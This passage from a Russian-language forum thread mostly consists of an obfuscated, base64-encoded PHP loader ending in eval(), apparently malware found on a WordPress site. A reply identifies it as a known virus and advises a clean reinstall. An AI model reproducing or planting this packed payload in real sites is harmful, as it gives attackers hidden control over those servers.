WE1XdGpNdlJVZkpJZ1pKSkRjRXhOZ1c5dmdvVG8wRUZweERiQUdJUkRuRkdjU2lhQ2VWYUxwSVZOeFdHWG5obXFtZHlMTVdaQXBlOXZtMU9BcDUzTHB2dHZuNU9OcEY5dm0xT0FwNTNMcHZ0dm5PaEFwRFZEQzB0alNXZmFNdlpEMmhKRG5aOXZ6d2ZqZ0Z0dkhJMFVwbGhYTXZaTG5oUHFubE9VU1Zac21sS3MyaTdObkVtRENWZlkzb0txQ1ZmWTNCS3EyaDBBcDlrWW1MUlVuRUpZeEI2dXBoa0xuRTRZdFdsakNXZmpDVzd2Z0J0c3BJYkwzYUtEcDVKdXBJS05uOXhZdFd6TG1MbVl4dlpMR2FPTnBFdE4zYUpMY3ZaWE1XdGpndlp2bkx4c3AxaHNtOXhMbkV4WE12ZnZ0V1pOMjVqTjJkSlhNYVJvR2FPTnBFdkxwaEdBSGVWck12WnEzYXpYTXZHdW1hT3EyRjJJZDlKTHBJS0xuRlZhSEUxcW1mUnV0cXRYemZLQXBMeHNwMWhYdHE3Q2VWYUxjT1JEQ2lJZ0cwSWdaMHJBcHNWcTNveEFjSTBxdFpKcTIxMXFtaFREbjFmdWdxa3MzSVBheEpSVWZKSWdaSkpEMkV0dkMwWmEyTzBESFc2dXg4R3V0b0dOM0Roc3Q0R3UyaGtMbkU0dUdCVnFDOTFxbWY5YXg0SnEyaDBMTTRHYW1oSlhNcWthbmhKdXRxbURuRXlxQzBHdXRvMExwMWZ1dHFtTEhlOWF4NEpMSGVrYXhMM0xwdjlheDRKQW45UERnNEdhR1I2WE1xa3EyMVJxMmFLRGdaUnV0cW1BbW9ScXowR3V0b1FMbmh4dXRxbXMybEtzMmk5YXg0SnMybEtzMmlrYXhMMXFtSjlheDRKcTIxMXFtSmtheExpc3A1R1hNcWthbmxPTm1xa2F4TEtxUDBHdXRvS3F4NEdhR0V4TkhJVnNwNUdYTXFrYUhFeE5ISVZzcDVHdXRxbUFIbzBxZDl6Tm45ekFQMEd1dG9WREhvZmMySWlOMkliWWYwcmdNb1ZEbjFpYzJJS05Hb2hOR2VaWE1CMHFtaHlySEl5TjNFMExuOFZhSERoc3RKUllmSklnWmhSTHRaT3Ezb3hxM294cmdvVkRuMWljMklLTkdvaE5HZWlhMjVLc205MERjSWhxbWRHTHA1MGF4SlJVZkpJZ1pKYUFwc1ZxM294cTNveHJnb1ZEbjFpYzJJS05Hb2hOR2VpYTI5YkFIb3lObkRoRG5JS05Hb2hOR2VHck1oN0NlVmFnZWhXQW5FT0xuRXhyZ2FDTjI1MExwNTB1Y281cW5GNnZIb2hVSGVLczNJUFl4QnpBbmR4cTJFMFhjRTBMdDA0dnRKN0NlVmFnZUpKQUhveU5kOXpOMjUwTHA1MHZDMFpxM294YzNhaHFubE9zMkZWdm05YkFIb3lObkRoRG5JS05Hb2hOR2V0dWdxR3Vnb1ZEbjFpYzJJS05Hb2hOR2VSWWZKSWdaSmFncEV6QW44WmFuTzBOcGxUczI5a0RuRWtEQ2lhZ2VKYUNlVmFnZWhoVW5oMHJnSjdnZTByZ2VoOUxwbFBMTUJSTHRPUERIYVBESHZWYW5PME5wbFRzMjlrRG5Fa0RnZkdMMkUwczI5a0RuRWtEQ0ZmakhCT0wyRkdyTWg3Q2VWYWdlaFdBbkVPTG5FeHJnRHZFZG9ldVB3a2pNVzFqQ1daTXA1MExjYWtzcGZaRjJFeERtRXh2d0V4cW05eGF4SjdDZVZhZ2VoaFVuaDByZ0o3Q2VWYWdjMWhOSElodm5obXJISTBxR0kwcXRaSkFIb3lOZDl6TjI1MExwNTB1Z0RHTGNvek4yNTBMcDUwSUNXMHFuZEdMTXFScmNpSWdaSmFnRkJWTHBkSkxjdlZhME9GRWRXS2pNNGx2Q2VmSWdCWU4zZVpvbTkxTm1lR3JTaUlnWkphZ3BFNEFjZVZyU2lJZ1pKYVRlMHJnZUphZ2VKYUNlVmFUZUphQ2VSOUNlVklnbUVpcTJGWkFwc1ZhSElSRG5GUlV4V0lnWmhSTHRaSnEyaDBMTVc5WE1XR1VuMWlheGg3Q2VWYWdGQlZMcGRKTGN2VnZKSUtOR29oTkdleURIaGZMU1ZaRG5FNERnOVZEbjFpWXhCekFuZHhxMkUwWGNFMEx0MDR2dEo3Q2VWYWdNbzNMcHZaWE1XR0FIbzBxQ1ZLdXhxa2FuREtEMkV0dXRxS3EyaDBMcDFPcWc1ZkFIVy9MbmQwTFMwR3V0b1JMZzRHYUdvaE5jVzlheDRKRG5FeXFnNEdhR0Roc3owR3V0b1ZOM0kwdXRxbVVuMWlYTXFrYW5vMFl4V0lnWkphQXBzVnEzRXRxM294cmdvMExwMWZ1Q1dpWWdKOVhNRFBBbkVpTkhPeU5ncVJVZjByZ2VKYWFIT3lObjVPTnBGWlhNQlBEcGFQREh2VmFIb2hOY1dpWWdKa2F4NTROcGZHWWYwcmdlaDlDZVZhZ3BobXJISTFzR0kwcXRaSkRuRXlxZ2ZmdUNxUlhTMEdBbmR6QTNPeU5ncVJVZjByZ2VKYUFwc1ZxM0V0cTNveHJnbzBMcDFmdUNxUnJjaUlnWkphZ2VKSlVuMWlObWR5TE1XOXZISTFzR0kwcXRaSkRuRXlxZ2Yzck00R3VHT3lOZ3E3Q2VWYWdlaDlnZUphQ2VWYWdjMElnWkphYUhPeU5nVzl2SG94QXAwVnEyMUtEY29KTnhaSkQyRXRyTUo3dlcwcmdlSkpOY2htQXBsaHZDMFpMbTlmTHA0VmFIT3lObjVPTnBGaXZnYTN2dEo3dlcwcmdlaG1EM2FSRG5GVmFuMTVMbWhpTE1mWmFIT3lOZ0o3Q2VWYWdwTHpObjlQTE1aSk5jaG1BcGxoclNpWkNlVmFncEV6QW44WnZtOWJYbmF4WG1PMERIVzZ1eDh0dXRvVEYwRU1FSkVNcHhEdkVkb2VjME9YRjFlR2NNNHR1eHZrYUhPeU5uNU9OcEY3dlcwcmdlaGhzMk9Ldmd2OHNHdit2dDRKRDJFdFlmMHJnZUpJZ1pKYUxjT1JEZ1pSWWYwcmdjMGFDZVZhQXBzVmFuaEpyY2lJZ1pKYWVuT2hzcG9ocXRadGUyOWtEbkVrRGcxMFVjQmhZdEIwTGNPMHUyTzBOcGY3dm5JVnNjYVBMY2U5RGNvbXVTWnRyU2lJZ1pKYWFIRGhzdFc5dmdEVkRIb2ZZdDhLYXg0SkwyOTNMcHZrYXg5Uk5tb2hVZzVmQUhXL0RjYWlYTXFrYUhJUkRuRmtheExSTEMwR3V0b1JMZzRHYUdvaE5jVzlheDRKRG5FeXFnNEdhbW8wWE1xa2FubzB1dHFtRDJFdFhNcWthbk9LcTNla2F4TDZVejBHdUdJeUFjSXROM2VWck00R2FtUkpBY3Y5YXg0SkFtb1JxdDRHYW1JaU4ySWJYTXFrYW5JaU4ySWJ1dHFtRGNhUlhNcWthSEl5RGNhUnV0cW1ObmRrTFAwR3V0b2lzcDVHdXRxbU4zajlheDRKTjNqa2F4TDFxbWxQQW5ka0xQMEd1dG8xcW1sUEFuZGtMeDRHYW1PMERIQlRzMmxLczJpOWF4NEpBSG8wcWQ5ek5uOXpBUGlJZ1pKYWFuTzBOcGxUczI5a0RuRWtEZ1c5dkhveEFwMFZxMjFLRGNvSk54WkpEMkV0ck1KN0NlVmFncGhtcmdkUERIYVBESHZWYW5PME5wbFRzMjlrRG5Fa0RnZkdObTl0TjNvMXEyRXhzcERoTkdlR3JNaDdDZVZhZ2VoUkx0T1BESGFQREh2VmFuTzBOcGxUczI5a0RuRWtEZ2ZHTjJ5VkRuMWlMMkUwczI5a0RuRWtEZ3FScmNpSWdaSmFnZUpKQUhveU5kOXpOMjUwTHA1MHZDMFpxM294YzNhaHFubE9zMkZWdm05YkFIb3lObkRoRG5JS05Hb2hOR2V0dWdxR3Vnb1ZEbjFpYzJJS05Hb2hOR2VSWWYwcmdlSmFncEV6QW44WmFuTzBOcGxUczI5a0RuRWtEQ2lhZ2VKSWdaSmFnZWhoVW5oMHJnSjdDZVZhZ2VoOUxwbFBMTUJSTHRPUERIYVBESHZWYW5PME5wbFRzMjlrRG5Fa0RnZkdMMkUwczI5a0RuRWtEQ0ZmakhCT0wyRkdyTWg3Q2VWYWdlSmFlbk9oc3BvaHF0WkdNZG9GRmc4bHV6d1pJU1dmdndoa0RuRXhObWRpdmRJaHFHTGhxdEJkcUdhS3F0cVJZZjByZ2VKYWdwRTRBY2VWclNpSWdaSmFnYzFoTkhJaHZuaG1ySEkwcUdJMHF0WkpBSG95TmQ5ek4yNTBMcDUwdWdER0xjb3pOMjUwTHA1MElDVzBxbmRHTE1xUnJjaUlnWkphZ2VoV0FuRU9MbkV4cmdEdkVkb2V1UHdrak1XMGpDZVpTbTkwdndMS0RwNUpheEo3Q2VWYWdlSmFMY09SRGdaUllmMHJnZUphVGUwcmdlSmFnZUphQ2VWYWdjMElnWmg5Q2VSOUxwbFBMY2lJZ1pKSWdaSkpEMkV0dkMwWmEyTzBESFc2dXg4R3V0b0dOM0Roc3Q0R3UyaGtMbkU0dUdCVnFDOTFxbWY5c205MGFtaEpYTXFrYW5oSnV0cW1EbkV5cUMwR3V0bzBMcDFmdXRxbUxIZTlheDRKTEhla2F4TDNMcHY5YXg0SkFuOVBEZzRHYUdSNlhNcWtxMjFScTJhS0RnWlJ1dHFtQW1vUnF6MEd1dG9RTG5oeHV0cW1zMmxLczJpOWF4NEpzMmxLczJpa2F4TDFxbUo5YXg0SnEyMTFxbUprYXhMaXNwNUdYTXFrYW5sT05tcWtheExLcVAwR3V0b0txeDRHYUdFeE5ISVZzcDVHWE1xa2FIRXhOSElWc3A1R3V0cW1BSG8wcWQ5ek5uOXpBUDBHdXRvVkRIb2ZjMklpTjJJYllmMHJnTW9WRG4xaWMySUtOR29oTkdlWlhNQjBxbWh5ckhJeU4zRTBMbjhWYUhEaHN0SlJZZjByZ3BobXJnZFBESGFQREh2VmFuTzBOcGxUczI5a0RuRWtEZ2ZHTm05dE4zbzFxMkV4c3BEaE5HZUdyTWg3Q2VWYWdGQlZMcGRKTGN2VnZKSUtOR29oTkdleURIaGZMU1ZaRG5FNERnOVZEbjFpWXhCekFuZHhxMkUwWGNFMEx0MDR2dEo3Q2VWYWdwaG1ySEkwcUdJMHF0WkpBSG95TmQ5ek4yNTBMcDUwdWdES0EyTzBOcGxHTGNvek4yNTBMcDUwYXhKUlVmMHJnZUphYW5PME5wbFRzMjlrRG5Fa0RnVzl2SEkwcWg5eExjQmlzcElocmdhS0EyTzBOcGxHTGNvek4yNTBMcDUwdnRmR2F4ZkpBSG95TmQ5ek4yNTBMcDUwclNpSWdaSmFncEV6QW44WmFuTzBOcGxUczI5a0RuRWtEQ2lhZ2VKSWdaSmFncEU0QWNlVnJTaUlnWkphVHBFaXEyRlpBcHNWcTNveHEzb3hyZ29WRG4xaWMySUtOR29oTkdlaWEyRGhEbklLTkdvaE5HZTFqQ0Jmc3BEaGF4SlJVZjByZ2VKYWVuT2hzcG9ocXRaR01kb0ZGZzhsdXp3WklTV2Z2d2hrRG5FeE5tZGl2ZElocUdMaHF0QmRxR2FLcXRxUllmMHJnZUphTGNPUkRnWlJZZjByZ2VoOUxwbFBMTUJSTHRPUERIYVBESHZWYW5PME5wbFRzMjlrRG5Fa0RnZkdMMkUwczI5a0RuRWtEQ2VmSUhCT0wyRkdyTWg3Q2VWYWdlaFdBbkVPTG5FeHJnRHZFZG9ldVB3a2pNVzBqQ2VaU205MHZ3TEtEcDVKYXhKN0NlVmFnZWhoVW5oMHJnSjdDZVZhZ2MwSWdaSmFnZUphQ2VWYVRlSklnRzBJZ1owckxHRWtzM29STjI0WnEyMVJxMmFLRGdaUnZIaUlnWkpKc3BEaE5HZVpYTUJQREhhME4ybEtEMkV4cmdvVEYwRU1FSkVNcHhEdkVkb2VjMUVTb0VhVGVGRGRTaGVHY01KN0NlVmFBcHNacmdvT0wyRWtEZ1dPWE1XdHZ0SlpVZjByZ2VKSnEzQlJMbkV4RjJoMExNVzl2bmR4cW1kNXZnWnRFbkVrczJFa0Rkb3hzY0xoTm5FeHZ0ZnRvMjlLTDJsaHNtOTB2dGZ0TmNJa3NtOTB2dGZ0RjI5UE4zSWZBcG9ocXRpdHVnYVNOMkRLRE1CM0xwdlpxM0JSTG5FeHZ0ZnRBcGRUc2NhekFuaDJMY3Z0dWdhTHNwT0tOeHdaRjJsMXFHV3R1Z2FMTjNFSnNwOWdOM2V0dWdhTHNwT0tOeEJTTkhFeHFndml2SjFTU0phS0Rndml2SlJPRG13WnJ3OW1EbkVrdkhJZnNwMFpzbTkwck12aXZKYU9BRm8xRjNCUkxuRXh2dGZ0RW05Uk5ud3R1Z2FMc3A1SkxjWlpzbTkwdnRmdGVoSWZBcG9ocXR2aXZHbzNBcEloTm5FeHZ0ZnRGMjlHTjNGWkYzQlJMbkV4dnRmdEYzQmhMcG81dmRJZkFwb2hxdHZpdkpES04yRGlMTUJCTGRJaE5HSWh2dGZ0TW5FeEFjb3hBY1p0dWdhZVVjb1ZOMjR5RGNhaU5uaHR2dGZ0ZXBsaFVud1pyd2hCdndkeHMyT1JEbUV4ck12aXZKZFBBeHZpdkpFNHNwYUtEZ3ZpdkpJMXEzb0t2dGZ0UzNFMExtOTRlbTkwdTFoS0xuZEtlbTkwdnRmdFVwZHpVTXZpdmhJMXFHTGhVRmFLRGd2aXZtbGhMM2p0dWdhaUQzV3lESGFSRG1oT05ndml2SjUxRG5JVnZ0ZnRGM29PczJ5TXNwMXRObkV4dnRmdEVuT2h2SERoc3RCT3FtSVZBY0xodmdPYWVNQkJxbUlWQWNMaHF0SnR1Z2FlTGNhaXZIb0tOMmZ0dWdhSU16d3hzbTkwdnRmdFNtRTBzM2FPTEdldHVnYUlGMGhkZTNhT0QybGhxdHZpdmhESExjZVpEbjlLTkhqdHVnYWlzY2F0QXA0dHVnYW5BY0lWdkhJaHNjYXpBZ3ZpdmdEdEFwNUdzbTkwYXhmR0wyOUtMMmxoYXhmWmEyYU9BcG8xYXhmWmEyZEtOZ3FpdmdEdEFwNUdheGZaYTNoT0FuOUtheGZaYTFoT05tb2hVd2FLRGdxaXZnREJBSGFoTEdJZ04zZUdyU2lJZ1pKYUxtOXhMcGR6QWdXVmFISWZBcG9ocWhJUkRuRlpzY2paYUhMT05nSlpVZjByZ2VKYWFISTBxdFc5dkhJMHFHb0tObjkzTGN2VmFITE9OZ0o3Q2VWYWdlaFJMdFdWcTNveHFuOVByZ29PTDJFa0RnZlphSEkwcXRKUnZIaUlnWkphZ2VoeExjbzFxbTRaREhhMUxTaUlnWkphZ2MwSWdaSmFUZTByZ2MxaE5ISWhVZjByZ2VoeExjbzFxbTRaTG1kaXEyRjdDZVZhVGUwclRlMHJMR0VrczNvUk4yNFpxMjFLRGNvSk54WkpEY2FpcmNpSWdaSkpMbWhpTEU5ek4yNTBMcDUwcXhXOXZ3Qm1BcGxoYzJEaERkOXpOMjUwTHA1MHF4WkpEY2FpclNpWkNlVmFBcHNacmd3SkxtaGlMRTl6TjI1MExwNTBxeEpaVWYwcmdlSkpzMlpaWE1CekRjYWljMmhrQWNlVnJTaUlnWkphczNFeE5kOVBMY29LcUhlVmFuSVZ1Z0JDRUVhalMxQkZjMUVNU2dmWmFIRXhOZ0o3Q2VWYWdwSTFxbWxUcTJFME4zQjByZ296QWdmWmUxRU1TdzllRWQ5TW9Fb0VGSjVGRkpkWUYwTGRGdGZsclNpSWdaSmFhbkxSTm5FVHMyOWtEbkVrREhqWlhNQnpEY2FpYzJFNExwalZhbklWclNpSWdaSmFzM0V4TmQ5ek5uOVBMTVpKczJaUllmMHJnYzBaQ2VWYXFtRTBEY2FrdmdvbUFwbGhjMklLTkdvaE5Hb1BZZjByVGUwclhQND0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));

 ?>

 

Share this post


Link to post
Share on other sites

Просканировал сигнатуру. Данный вирус находили еще полтора года назад. С чем связано его появление - история умалчивает. Обновляйте все на сайте (ВП ставьте чистый с нуля). Или пишите в личку, рад буду почистить и защитить сайт на будущее от потенциальных взломов.

alex.kosatov likes this

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0

  • Recently Browsing   0 members

    No registered users viewing this page.